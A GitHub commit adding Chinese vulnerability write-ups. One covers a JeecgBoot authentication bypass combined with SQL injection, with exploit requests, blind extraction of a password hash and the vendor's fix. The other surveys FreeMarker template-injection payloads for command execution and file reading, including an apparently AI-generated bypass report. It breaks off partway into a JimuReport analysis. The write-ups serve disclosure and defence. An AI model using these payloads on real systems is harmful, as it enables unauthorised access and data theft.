Add files via upload

This commit is contained in:
东方有鱼名为咸 authored and GitHub committed 2026-09-10 20:19:51 +08:00
1 parent ede4cfd036
commit fc69fd014c
3 files changed
+1385

No files matched your search

@@ -0,0 +1,423 @@
# JeecgBoot 未授权权限绕过 + SQL 注入组合漏洞分析与复现
> 来源:https://xz.aliyun.com/news/92753
## 一、漏洞概述
JeecgBoot 是一款基于 Spring Boot / MyBatis-Plus 构建的开源低代码开发平台,提供表单设计、报表、流程、大屏等在线开发能力,在企业级业务快速构建场景中被广泛使用,默认部署于 `/jeecg-boot` 上下文。
近期在奇安信CERT和长亭CT Stack中发现,JeecgBoot(≤ 3.9.3)存在未授权权限绕过 + SQL 注入组合漏洞。未认证的远程攻击者可通过构造特制请求绕过 JWT 认证,匿名访问 `/sys/dict/getDictItems/*` 等敏感数据接口,并利用参数过滤缺陷注入恶意 SQL,通过布尔盲注窃取数据库中的敏感信息(用户账号、口令哈希、手机号、业务数据等)。然后官方在官方发版的 v3.9.5 中已修复权限绕过并对 filterSql 注入做了加固。
| 项目 | 内容 |
| --- | --- |
| 漏洞类型 | 权限绕过(认证缺陷)+ SQL 注入 |
| 影响版本 | JeecgBoot ≤ 3.9.3(含官方 tag v3.9.2、main 分支 3.9.3) |
| 认证要求 | 无(未认证可利用) |
| 利用方式 | 布尔盲注(数据窃取) |
| 修复状态 | v3.9.5 已修复权限绕过,filterSql 注入已加固 |
## 二、漏洞原理
漏洞由2个独立缺陷组合而成,叠加后形成完整攻击链。
### 2.1 Shiro 路由匹配差异 —— 权限绕过
JeecgBoot 使用 Apache Shiro 做认证,`ShiroConfig` 中配置了大量静态资源放行规则:
```java
// ShiroConfig.java
filterChainDefinitionMap.put("/**/*.js", "anon");
filterChainDefinitionMap.put("/**/*.css", "anon");
filterChainDefinitionMap.put("/**/*.png", "anon");
filterChainDefinitionMap.put("/**/*.html", "anon");
// ...
filterChainDefinitionMap.put("/**", "jwt");
```
代码分析 —— Shiro 过滤器链(Filter Chain):
Shiro 通过 `PathMatchingFilterChainResolver` 对请求 URL 做 `AntPathMatcher` 通配匹配。`/**/*.js` 这类规则的本质是「路径任意深度 + 结尾 `.js`」即匿名放行。而 Spring MVC 的 路径参数`@PathVariable` 接口(如 `@RequestMapping("/getDictItems/{dictCode}")`)对 URL 尾段的 `.js` 无感知,因为它是路径参数传参会把它并入 `{dictCode}` 参数。
Shiro和Spring两类匹配器语义差异对比:
| 匹配器 | 对 /sys/dict/getDictItems/sys_user,realname,id.js 的判定 |
| --- | --- |
| Shiro AntPathMatcher | 命中 /**/*.js → anon 放行(JwtFilter 不执行) |
| Spring HandlerMapping | 命中 /getDictItems/{dictCode} → dictCode="sys_user,realname,id.js" 传入控制器 |
这个「放行与路由」之间的落差,就是权限绕过的根因。且由于 `id.js` 是字典码的一部分,后续 SQL 解析仍可执行(配合第 2.4 节的 `#` 注释消化掉 `.js`)。
Shiro 的 `AntPathMatcher` 对 URL 做通配符匹配,而 Spring MVC 对 URL 做控制器映射。二者对同一个 URL 的解析差异构成了绕过面:
● 攻击者在 `/sys/dict/getDictItems/{dictCode}` 这类 `@PathVariable` 接口的 URL 末尾追加 `.js`,例如:
```
/sys/dict/getDictItems/sys_user,realname,id.js
```
● Shiro 层:URL 命中 `/**/*.js` 的 `anon` 规则 → JwtFilter 完全不执行;
● Spring 层:`/sys/dict/getDictItems/{dictCode}` 仍能匹配,`.js` 被当作 `dictCode` 的一部分传入。
结果:该接口无需任何 Token,匿名直达控制器。
### 2.2 filterSql 拼接 —— SQL 注入
`SysDictController.getDictItems` 接收路径参数 `dictCode`,四段式格式 `table,text,code,filterSql`,服务端按逗号拆分:
```java
// SysDictServiceImpl.getDictItems
String[] params = dictCode.split(",");
if (params.length == 4) {
ls = this.queryTableDictItemsByCodeAndFilter(params[0], params[1], params[2], params[3]);
// table text code filterSql
}
```
最终在 MyBatis mapper 中 `filterSql` 被 `${}` 直接拼接:
```xml
<!-- SysDictMapper.xml -->
<select id="queryTableDictWithFilter" resultType="org.jeecg.common.system.vo.DictModel">
select ${text} as "text", ${code} as "value" from ${table}
<if test="filterSql != null and filterSql != ''">
where ${filterSql}
</if>
</select>
```
实际执行 SQL:
```sql
SELECT ${text} AS "text", ${code} AS "value" FROM ${table} WHERE ${filterSql}
```
代码分析 —— MyBatis `${}` 拼接 + 参数拆分:
注入点在两个层面:
1 控制器层(`SysDictController.getDictItems`)接收路径参数 `dictCode`,`SysDictServiceImpl.getDictItems` 按 `,` 拆分为 4 段,第 4 段 `params[3]` 直接作为 `filterSql` 传入;
2 Mapper 层(`SysDictMapper.xml`)将 `${filterSql}` 原样拼进 `WHERE`,`${table}`、`${text}`、`${code}` 同样拼接(三者虽经过 `getSqlInjectTableName/getSqlInjectField` 的合法字符校验,但 `filterSql` 没有任何白名单约束,仅过一套可绕过的黑名单)。
虽然存在字典专用 SQL 黑名单(`specialDictSqlXssStr`),但黑名单不包含 `#`、`or` 等关键字,且 `filterSql` 直接进 WHERE 子句,注入空间充足。字典专用黑名单源码如下:
```java
// SqlInjectionUtil.java —— 字典专用 SQL 黑名单
private static String specialDictSqlXssStr =
"exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|"
+ "gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr "
+ "|mid |master |truncate |char |declare |;|+|--|substring |substring(";
```
可以看到黑名单覆盖了 `select/insert/update/drop/mid/char` 等关键字,但完全没有覆盖 `#`(MySQL 行注释)与 `or`(逻辑运算符),二者均可直接用于注入构造。
### 2.3 组合成链
1 路径加 `.js` → 绕过 Shiro JWT(命中静态资源 anon 规则);
2 四段式 dictCode → `filterSql` 注入 WHERE 子句;
3 `#` 注释吞掉尾随 `.js` → 注入 payload 生效。
由于 `.js` 已并入 `dictCode` 的最后一个路径段,若直接执行会变成 `WHERE id=1.js` 这类非法 SQL。在 filterSql 末尾追加 `#`(MySQL 行注释),`.js` 被当作注释内容吞掉,实际生效的 SQL 是 `WHERE <payload>`。
## 三、漏洞复现
### 3.1 实验环境
| 组件 | 版本 |
| --- | --- |
| JeecgBoot | 3.9.3(官方 main,commit c63277e 源码构建) |
| 运行方式 | Docker Compose(MySQL 8.0 / Redis / 后端) |
| 操作系统 | Ubuntu 22.04 |
| 目标地址 | http://192.168.170.128:8080/jeecg-boot |
### 3.2 第一步:权限绕过验证
```
GET /jeecg-boot/sys/dict/getDictItems/sys_user,realname,id → HTTP 401(JWT拦截)
```
![image.png](https://imglink.cc/cdn/L6ECW9z-EL.png)
```
GET /jeecg-boot/sys/dict/getDictItems/sys_user,realname,id.js → HTTP 200(匿名放行)
```
![image.png](https://imglink.cc/cdn/VIRmMq1mYK.png)
同一接口,仅因 URL 末尾 `.js` 的有无,返回 200 / 401,权限绕过成立。
### 3.3 第三步:布尔盲注确认注入点
条件为真 → 返回数据行;条件为假 → 返回空集。对应的 HTTP 请求(未携带任何认证 Token):
条件为真(1=1)→ 返回所有用户数据
```http
GET /jeecg-boot/sys/dict/getDictItems/sys_user,realname,id,1=1#.js HTTP/1.1
Host: 192.168.170.128:8080
X-Sign: E442B046AAAA557FE5FA8C2408B10413
X-Timestamp: <当前毫秒时间戳>
```
```json
{"code":0,"result":[{"text":"测试用户","value":"..."},{"text":"张三","value":"..."}, ...]}
```
![image.png](https://i.im.ge/QQQbGfG/p2m-1c509de7fd.png)
条件为假(1=2)→ 返回空集
```http
GET /jeecg-boot/sys/dict/getDictItems/sys_user,realname,id,1=2#.js HTTP/1.1
Host: 192.168.170.128:8080
X-Sign: 65B318EFA2CB5257F3FF891B50B27F85
X-Timestamp: <当前毫秒时间戳>
```
```json
{"code":0,"result":[]}
```
![image.png](https://i.im.ge/QQQbBPL/p2m-c23362558c.png)
布尔差分成立,证明 SQL 注入确认可利用。
### 3.4 第四步:敏感信息窃取
非黑名单字段整列明文获取(无需盲注,直接把目标字段放 `text` 位):
```http
GET /jeecg-boot/sys/dict/getDictItems/sys_user,email,id,1=1#.js HTTP/1.1
Host: 192.168.170.128:8080
X-Sign: B1C42DE43E279D2E69009C6648B3D0B2
X-Timestamp: <当前毫秒时间戳>
```
```json
{"code":0,"result":[{"text":"[email protected]","value":"..."},{"text":"[email protected]","value":"..."},{"text":"[email protected]","value":"..."}, ...]}
```
![image.png](https://imglink.cc/cdn/mkLrpEDFBj.png)
![image.png](https://i.im.ge/QQQcQ9a/p2m-c956122d26.png)
黑名单字段(如 password)布尔盲注提取:先用 `LENGTH()` 二分定长,再用十六进制字面量前缀比较(`password>=0x<prefix>`)逐字节二分,避开被拦截的 `MID/SUBSTRING/LEFT/ORD` 等函数:
盲注原理:以"返回行与否"作为布尔 oracle(`result` 非空 = 条件成立,空集 = 不成立)。`password` 以 16 个十六进制字符存储(= 8 字节),先二分定长度,再对每个字节(2 个 hex 字符)用 `password>=0x<前缀+候选>` 做字典序二分,0x00~0xFF 折半收敛出该字节值,逐字节拼出完整哈希。
LENGTH 二分定长
二分过程:在 `1~256` 区间折半试探(先 `>=128`、再 `>=64`...逐步逼近),最终判定 `LENGTH(password)=16`:
```http
GET /jeecg-boot/sys/dict/getDictItems/sys_user,realname,id,id='e9ca23d68d884d4ebb19d07889727dae' AND LENGTH(password)>=16#.js HTTP/1.1
Host: 192.168.170.128:8080
X-Sign: <对 dictCode 的 md5 签名>
X-Timestamp: <当前毫秒时间戳>
```
```json
{"code":0,"result":[{"text":"管理员","value":"e9ca23d68d884d4ebb19d07889727dae"}]} → True(条件成立,返回行)
```
逐字节提取(password>=0x<hex前缀> 二分)
`0x6362` = 字节 `'cb'`(即 password 前两个字符),表示已确定前 2 字节为 `cb`,继续二分下一个字节。
```http
GET /jeecg-boot/sys/dict/getDictItems/sys_user,realname,id,id='e9ca23d68d884d4ebb19d07889727dae' AND password>=0x6362#.js HTTP/1.1
Host: 192.168.170.128:8080
X-Sign: <对 dictCode 的 md5 签名>
X-Timestamp: <当前毫秒时间戳>
```
```json
{"code":0,"result":[{"text":"管理员","value":"e9ca23d68d884d4ebb19d07889727dae"}]} → True(该字节前缀成立)
```
`>=` 判定原理:MySQL 对字节串做字典序比较,`password >= 0x<前缀+候选>` 为真即说明目标字节 ≥ 候选值,从而 0x00~0xFF 二分收敛。逐字节推进(共 8 字节),拼出完整哈希:
```latex
admin.password = cb362cfeefbf3d8d(与数据库直接查询一致)
```
实际落库的 SQL 语句:
```sql
SELECT realname AS "text", id AS "value"
FROM sys_user
WHERE id='e9ca23d68d884d4ebb19d07889727dae' AND password>=0x6362
-- #.js 被 MySQL 注释吞掉
```
脚本这里就不用给出了,现在AI很强大直接能出结果。
## 四、影响范围
●受影响的软件版本:JeecgBoot ≤ 3.9.3
○ 官方最新 tag:v3.9.2(commit `7df07a8`)
○ 官方 main 分支:3.9.3(commit `c63277e`)
● 修复状态(v3.9.5,commit `e3b9dc0`,2026-08-26 发布):
修复代码 —— ShiroConfig.java:
```java
//update-begin---author:scott ---date:2026-08-24 for:【issues/9840】静态资源按目录放行,避免业务接口通过伪造文件后缀绕过JWT-----------
private static final String[] ANONYMOUS_STATIC_RESOURCE_PATHS = {
// 基础入口
"/", "/index.html", "/doc.html", "/favicon.ico", "/logo.png", "/pca.json", "/demo1.html",
// Vue3前端构建资源
"/manifest.webmanifest", "/sw.js", "/workbox-*.js", "/assets/**", "/resource/**",
"/static/**", "/css/**", "/js/**", "/img/**", "/fonts/**",
// 系统内置静态页面
"/generic/**", "/view/userlist.html",
// 开源Demo大屏模板
"/bigscreen/template1/**", "/bigscreen/template2/**",
// 积木报表
"/jmreport/desreport_/**",
// 积木BI仪表盘、大屏
"/drag/favicon.ico", "/drag/lib/**", "/drag/list/**",
// Chat2BI
"/chat2bi/**", "/jimu/chat2bi/css/**", "/jimu/chat2bi/js/**","/jimu/chat2bi/libs/**", "/jimu/chat2bi/logo.png"
};
//update-end---author:scott ---date:2026-08-24 for:【issues/9840】静态资源按目录放行,避免业务接口通过伪造文件后缀绕过JWT-----------
```
核心:删除 `/**/*.js`、`/**/*.css`、`/**/*.png` 等全局后缀匿名放行,改为按目录精确放行(`/static/**`、`/js/**` 等),`/sys/dict/getDictItems/xxx.js` 不再命中 any anon 规则 → 走 JWT 校验。
修复代码 —— SqlInjectionUtil.java(新增调用):
```java
public static void filterDictConditionSqlFromRequest(String table, String value) {
if (value == null || "".equals(value)) {
return;
}
String trimmed = value.trim();
if (trimmed.isEmpty()) {
return;
}
Set<String> conditionFields;
try {
// 1. 用 jsqlparser 解析条件 SQL,做结构化白名单校验
conditionFields = DictSqlConditionCheckUtil.checkAndGetFields(trimmed);
} catch (Exception e) {
log.error(SqlInjectionUtil.SQL_INJECTION_TIP_VARIABLE, value);
throw new JeecgSqlInjectionException(SqlInjectionUtil.SQL_INJECTION_TIP + value);
}
// 2. 校验条件中引用的字段,禁止访问敏感表字段
SensitiveTableCheckUtil.checkForbiddenFields(table, conditionFields.toArray(new String[0]));
}
```
修复代码 —— DictSqlConditionCheckUtil.java(结构化白名单核心):
```java
public static Set<String> checkAndGetFields(String value) {
if (value == null || value.trim().isEmpty()) {
return Set.of();
}
String trimmed = value.trim();
Set<String> conditionFields = new LinkedHashSet<>();
try {
if (containsSqlComment(trimmed)) { // ① 禁止 SQL 注释(#、--)
throw new IllegalArgumentException("字典过滤条件不允许包含SQL注释");
}
int orderByIndex = findTopLevelOrderBy(trimmed);
String conditionSql = orderByIndex < 0 ? trimmed : trimmed.substring(0, orderByIndex).trim();
String orderBySql = orderByIndex < 0 ? null
: trimmed.substring(orderByIndex).replaceFirst("(?i)^order\\s+by\\s+", "").trim();
if ((!conditionSql.isEmpty() && !validateCondition(conditionSql, conditionFields))
|| (orderBySql != null && !validateOrderBy(orderBySql, conditionFields))) {
throw new IllegalArgumentException("不支持的字典过滤条件");
}
return conditionFields;
} catch (Exception e) {
throw new IllegalArgumentException("不支持的字典过滤条件", e);
}
}
// 表达式仅允许:列 + 比较运算符 + 字面量(右操作数必须是字面量,左操作数必须是列)
private static boolean validateExpression(Expression expression, Set<String> conditionFields) {
if (expression instanceof ParenthesedExpressionList<?> expressionList) {
return expressionList.size() == 1 && validateExpression(expressionList.get(0), conditionFields);
}
if (expression instanceof AndExpression || expression instanceof OrExpression) {
BinaryExpression logicalExpression = (BinaryExpression) expression;
return validateExpression(logicalExpression.getLeftExpression(), conditionFields)
&& validateExpression(logicalExpression.getRightExpression(), conditionFields);
}
if (isComparisonExpression(expression)) {
BinaryExpression comparison = (BinaryExpression) expression;
return addConditionField(comparison.getLeftExpression(), conditionFields)
&& isLiteral(comparison.getRightExpression());
}
return false;
}
```
核心:用 jsqlparser 将 filterSql 解析为表达式树,只放行「列 = 比较符 = 字面量」;`containsSqlComment` 拦截 `#`/`--` 注释,`addConditionField` 拒绝函数调用(如 `LENGTH(password)`)与子查询,`isLiteral` 拒绝十六进制字面量(如 `password>=0x6362`)。
○ 已修复权限绕过:静态资源改为按目录放行(`ANONYMOUS_STATIC_RESOURCE_PATHS`),移除 `/**/*.js` 等全局后缀放行,`.js` 伪造后缀不再绕过 JWT。
○ filterSql 注入已加固:新增 `DictSqlConditionCheckUtil` 结构化白名单校验(jsqlparser 解析,禁注释、禁函数/子查询),普通列+字面量比较仍可用。
○升级到 v3.9.5,并保留 WAF 层二次过滤。
## Reference
●[https://github.com/jeecgboot/JeecgBoot](https://github.com/jeecgboot/JeecgBoot)
●[https://stack.chaitin.com/vuldb/detail/0b9b9789-525c-4527-8f46-52ca2b62414c](https://stack.chaitin.com/vuldb/detail/0b9b9789-525c-4527-8f46-52ca2b62414c)
@@ -0,0 +1,649 @@
# 从FreeMarker攻防史到JeecgBoot沙箱逃逸RCE(CVE-2026-51086&51087)
> 来源:https://xz.aliyun.com/news/92754
## 0x01 前言
在某次测试的时候,发现了一个模板注入漏洞。心想照着 FreeMarker SSTI 的老套路来不就完了?结果一动手就傻眼了——?new 被SAFER\_RESOLVER 拦掉,?api 没开,内置对象该拦的都拦了,愣是找不到一个能用的 RCE 入口。既然传统套路走不通,于是在梳理 FreeMarker 攻防史的过程中结合 AI发现了一条文件读取的路径。但本着业余安全人员的原则,怎么能止步于文件读取呢?于是进一步审计 JimuReport报表模块,看看业务代码有没有帮倒忙的——有没有什么暴露到模板上下文的自定义方法。结果还真找到了。(以上内容纯属胡扯)
本文是CVE-2023-4450的延伸,主要叙述从"回顾 FreeMarker 攻防史"到"利用暴露对象结合 Aviator 表达式进行 FreeMarker 沙箱逃逸",以及AI时代下漏洞挖掘的应用。
## 0x02 FreeMarker 攻防史
![](https://i.im.ge/QQQcsRh/p2m-cadd3ca843.png)
从1999年末FreeMarker发布到现在,二十多年里攻防两端一直在较量。根据几个标志性的版本大致分为四个时期。
### 2.1 蛮荒时代(1999-2010 | v1.0 - v2.3.16):无原生防护
FreeMarker 早期基本没有安全设计,?new 内建函数可以直接实例化任意实现了 TemplateModel 接口的 Java 类。原生的三个危险类直接就能 RCE:
● freemarker.template.utility.Execute:直接执行系统命令
● freemarker.template.utility.ObjectConstructor:实例化任意 Java 类,构造 ProcessBuilder 执行命令
● freemarker.template.utility.JythonRuntime:执行 Python 代码实现命令执行
基础 Payload:
```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
```
```
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
```
```
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
```
官方组件无任何防护机制,安全完全依赖业务方自行控制模板编辑权限。
### 2.2 原生防护建设期(2010-2015 | v2.3.17 - v2.3.21)
2010 年 5 月发布的 v2.3.17 是 FreeMarker 安全史上的首个里程碑。官方引入了 TemplateClassResolver 类解析器机制,提供三种预定义解析器,首次实现对 ?new 函数的类加载限制:
● UNRESTRICTED\_RESOLVER:无限制加载任意类(兼容旧版本)
● SAFER\_RESOLVER:默认禁用 Execute、ObjectConstructor、JythonRuntime 三个原生危险类
● ALLOWS\_NOTHING\_RESOLVER:完全禁止任何类的实例化
同时开放 setNewBuiltinClassResolver 自定义接口,允许业务方实现个性化的类加载黑白名单。
```java
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
```
(PS:关于SAFER\_RESOLVER v2.3.17只禁用了ObjectConstructor,而Execute、JythonRuntime\`仍然有效,v2.3.19则三个都被禁用)
![](https://i.im.ge/QQQcOqF/p2m-46d63f7a1d.png)
![](https://i.im.ge/QQQcun6/p2m-73aaa2c38e.png)
但攻击者很快找到了两种绕过手法:
绕过方法一:寻找第三方 TemplateModel 实现类
SAFER\_RESOLVER 只拦了原生三个危险类,没拦业务系统里其他实现了 TemplateModel 接口的类。只要找到一个类本身有危险行为,一样能 RCE。
![](https://i.im.ge/QQQc2k9/p2m-43e702dd3d.png)
需要实现 TemplateMethodModel:
```java
public class FreemakerSSTI implements TemplateMethodModel {
@Override
public Object exec(List arguments) throws TemplateModelException {
String cmd = arguments.get(0).toString();
Runtime.getRuntime().exec(cmd);
return "Executed: " + cmd;
}
}
```
对应的 Payload:
```
${"FreemakerSSTI"?new()("whoami")}
```
绕过方法二:静态代码块
Java 类被加载时静态块会自动执行,而 ?new 在实例化前第一步是先把类加载进内存。所以即使你拿到对象啥也没做,静态代码块里的恶意代码已经跑完了。
```java
public class Test {
static {
try {
System.out.println("静态代码块被触发,正在执行恶意命令");
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
```
对应 Payload 就一行:
```
<#assign foo="Test"?new()>
```
### 2.3 安全能力补全期(2015-2019 | v2.3.22 - v2.3.29)
2015 年 3 月发布的 v2.3.22 是 FreeMarker 安全体系的核心补全版本:
1 新增 ?api 内建函数,允许模板访问 Java 原生 API,但默认关闭(api\_builtin\_enabled=false),从根源上限制了反射型利用
2 新增 unsafeMethods.properties 危险方法黑名单,禁用 getClassLoader()、newInstance()、Class.forName()、Method.invoke() 等核心反射方法
32015 年末 FreeMarker 捐赠给 Apache 软件基金会,2018 年 3 月正式成为 Apache 顶级项目
但攻击者又找到了新的突破口:
getClassLoader() 黑名单绕过(< v2.3.30)
官方只禁用了 Class.getClassLoader(),但没限制 ProtectionDomain.getClassLoader():
```
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}
```
![](https://i.im.ge/QQQcdFX/p2m-bae0b24d61.png)
?api 开启场景的完整利用链
如果业务方开了 api\_builtin\_enabled=true,可以通过类加载器加载恶意类,结合 Gson/Jackson 的 fromJson 实例化 Execute,完全绕开 ?new 的限制:
```
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("org.joychou.controller.ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
```
需要2.3.22之后,并且api\_builtin\_enabled=true(一直默认false);
![](https://i.im.ge/QQQchqC/p2m-c138ba0e15.png)
任意文件读取 / SSRF
###### api\_builtin\_enabled为true
```
<#assign is=object?api.class.getResourceAsStream("/application.properties")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
```
![](https://i.im.ge/QQQcLn4/p2m-d121c353cc.png)
###### api\_builtin\_enabled未开启(AI绕过SAFER\_RESOLVER)
api\_builtin\_enabled为true可以使用网上公开的poc?api读取文件,未开启时使用以下payload
```
<#assign is=object.class.getResourceAsStream("/application.properties")>
```
object.class.getResourceAsStream() 可读取 classpath 中的配置文件,配合 seq\_contains 字节查表可以还原文件内容。
getResourceAsStream 完整 Payload:
```
<#assign is=object.class.getResourceAsStream('/application.properties')>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
```
![](https://i.im.ge/QQQcitq/p2m-ce18a0003f.png)
![](https://i.im.ge/QQQcDLY/p2m-5154bf21ef.png)
#### AI绕过SAFER\_RESOLVER
```
最终审计报告
一、SAFER_RESOLVER bypass 成功
通过 object.class.getResourceAsStream() + FreeMarker <#if seq_contains> + substring 字节查表,成功读取 classpath
中的配置文件内容。
泄露的敏感凭证:
- JDBC URL: jdbc:mysql://localhost:3306/javaseccode
- 数据库用户名: root
- 数据库密码: woshishujukumim
二、完整 PoC 模板
<#assign U='ABCDEFGHIJKLMNOPQRSTUVWXYZ'>
<#assign L='abcdefghijklmnopqrstuvwxyz'>
<#assign D='0123456789'>
<#assign RU=65..90><#assign RL=97..122><#assign RD=48..57>
<#assign is=object.class.getResourceAsStream('/application.properties')>
<#list [is.read(),is.read(),...] as b>
<#if RU?seq_contains(b)>${U?substring((b-65),(b-65+1))}</#if>
<#if RL?seq_contains(b)>${L?substring((b-97),(b-97+1))}</#if>
<#if RD?seq_contains(b)>${D?substring((b-48),(b-48+1))}</#if>
</#list>
原理: seq_contains 返回布尔值(不同于 >/>=/&& 返回数字),可以在 <#if> 中作为条件。通过 ..
范围语法创建字符码范围序列(U=65..90, L=97..122, D=48..57),逐字节判断所属范围后用 substring 映射到可读字符。
三、用户提供的两个向量验证结果
┌─────────────────────────────────────────────────────────┬───────────┬───────────────────────────────────────────┐
│ 向量 │ 状态 │ 原因 │
├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
│ object?api.class.getProtectionDomain().getClassLoader() │ ❌ 阻断 │ object?api 直接报错 │
│ │ │ api_builtin_enabled=false │
├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
│ URI.create() → URL.openConnection() │ ❌ 阻断 │ ?new 全局禁用;forName/getMethod 均被阻断 │
├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
│ object.class.getResourceAsStream() (新发现) │ ✅ │ 可读取 classpath │
│ │ 部分成功 │ 资源内容,但无法读取任意文件系统路径 │
└─────────────────────────────────────────────────────────┴───────────┴───────────────────────────────────────────┘
四、核心阻断机制确认
┌─────────────────────────────┬───────────────────────────┐
│ 阻断项 │ 状态 │
├─────────────────────────────┼───────────────────────────┤
│ object?api │ ❌ api_builtin=false │
├─────────────────────────────┼───────────────────────────┤
│ ClassModel.forName() │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ ClassModel.getClassLoader() │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ Method.invoke() │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ ?new 操作符 │ ❌ │
├─────────────────────────────┼───────────────────────────┤
│ > / >= 比较运算符 │ ❌ 返回数字(不兼容 #if) │
├─────────────────────────────┼───────────────────────────┤
│ < / <= / == 比较运算符 │ ✅ │
├─────────────────────────────┼───────────────────────────┤
│ seq_contains │ ✅ 返回布尔值 │
├─────────────────────────────┼───────────────────────────┤
│ substring │ ✅ │
├─────────────────────────────┼───────────────────────────┤
│ 65..90 范围序列 │ ✅ │
└─────────────────────────────┴───────────────────────────┘
五、结论
SAFER_RESOLVER 在此配置下成功阻止了 RCE 和任意文件读取,但通过 object.class.getResourceAsStream() 仍可读取 classpath
中配置文件的明文敏感信息(数据库凭证)。这属于 SSRF/信息泄露 风险。
```
### 2.4 沙箱逃逸爆发期(2019-2021):BlackHat 引爆新战场
2019-2021 年,主流企业级系统(如 Liferay、VMware Workspace ONE)在 FreeMarker 原生防护基础上,构建了深度自定义的沙箱机制,传统通用利用链全面失效,攻防对抗从「绕过原生防护」进入「突破企业级定制沙箱」的新阶段。
企业级沙箱防护体系形成了多层防护架构:
1 自定义 ObjectWrapper:对模板访问的所有对象做递归类型校验,拉黑 java.lang.Class、ClassLoader、Runtime 等核心危险类
2 双重黑白名单校验:自定义 TemplateClassResolver,先黑名单拦截危险类,再白名单校验允许加载的类
3 暴露变量管控:通过 restrictedVariables 禁用危险内置对象
4反序列化白名单:对 JSON/XML 反序列化做严格的类白名单限制
2020 年 BlackHat USA 议题《Room for Escape: Scribbling Outside the Lines of Template Security》(@pwntester & @Oleksandr Mirosh),彻底改变了 FreeMarker 的攻防格局。
核心发现:模板上下文默认暴露的内置对象本身就是沙箱允许的,通过这些对象的方法调用、属性获取,可以串联出类加载、任意方法调用、命令执行的能力,完全绕开原生防护和自定义沙箱。
比如 Liferay 默认暴露了 154 个内置对象,攻击者可以通过这些对象层层递进:
```
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}
```
![](https://i.im.ge/QQQcI3D/p2m-31c25d23d8.png)
![](https://i.im.ge/QQQc0kp/p2m-d7f7700cb9.png)
需满足 setExposeSpringMacroHelpers(true); spring.freemarker.expose-spring-macro-helpers=true。 这波议题之后,模板注入、表达式注入利用方式进入多元化。
### 2.5 AI对TemplateMethodModel 实现类危险度分析
梳理FreeMarker 中实现了 TemplateMethodModel 接口的类。按照危险程度分类,未完全验证:
高危(可直接 RCE)
| Source Class | exec() 行为 | SAFER_RESOLVER |
| --- | --- | --- |
| freemarker.template.utility.Execute | Runtime.getRuntime().exec(args[0]) | 不阻止 |
| freemarker.ext.rhino.RhinoFunctionModel | Function.call() → Rhino JS引擎 RCE | 不阻止 |
| freemarker.ext.jython.JythonModel | PyObject.call() → Python RCE | 不阻止 |
中危(类实例化 / 任意方法调用)
| Source Class | exec() 行为 | SAFER_RESOLVER |
| --- | --- | --- |
| freemarker.template.utility.ObjectConstructor | BeansWrapper.newInstance() → 任意类实例化 | 已阻止 |
| freemarker/ext/beans/OverloadedMethodModel | BeansWrapper.invokeMethod() → 任意方法调用 | 不阻止 |
| freemarker/ext/beans/SimpleMethodModel | BeansWrapper.invokeMethod() → 任意方法调用 | 不阻止 |
低危/无害(其余 39 个)
包括 SimpleMapModel.exec()(Map.get(key))、MapModel.exec()(Map.get(key))、ResourceBundleModel.exec()(资源文件读取)等,均为安全的数据处理操作。
## 0x03 JeecgBoot漏洞挖掘
### 3.1 漏洞概述
| 字段 | 值 |
| --- | --- |
| 漏洞类型 | 服务端模板注入 (SSTI) / 远程代码执行 (RCE) |
| 影响产品 | JimuReport (jeecgboot) |
| 影响版本 | v1.6.0 <= JimuReport < 修复版本 |
| CVSS v3.1 评分 | |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
JimuReport(集成于 jeecgboot)在 /jmreport/queryFieldBySql 端点存在服务端模板注入(SSTI)漏洞。攻击者可通过 FreeMarker 模板注入配合 Aviator 表达式执行来实现远程代码执行。
### 3.2 入口发现:模板注入点
回到审计现场。JeecgBoot 集成 JimuReport 报表模块,核心文件在 org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils,模板渲染的入口。
```java
public static String a(String var0, Map<String, Object> var1) {
if (var0 == null) {
return null;
} else {
Configuration var2 = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
var2.setNumberFormat("#.#########");
var2.setSharedVariable("func", new FunctionMethod());
var1.put("jeecg", new FreemarkerMethod());
var1.put("isNotEmpty", new NotEmptyMethod());
var2.setClassicCompatible(true);
var2.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
StringWriter var3 = new StringWriter();
try {
a.debug("模板内容:{}", var0.toString());
(new Template("template", new StringReader(var0), var2)).process(var1, var3);
a.debug("模板解析结果:{}", var3.toString());
} catch (TemplateException var5) {
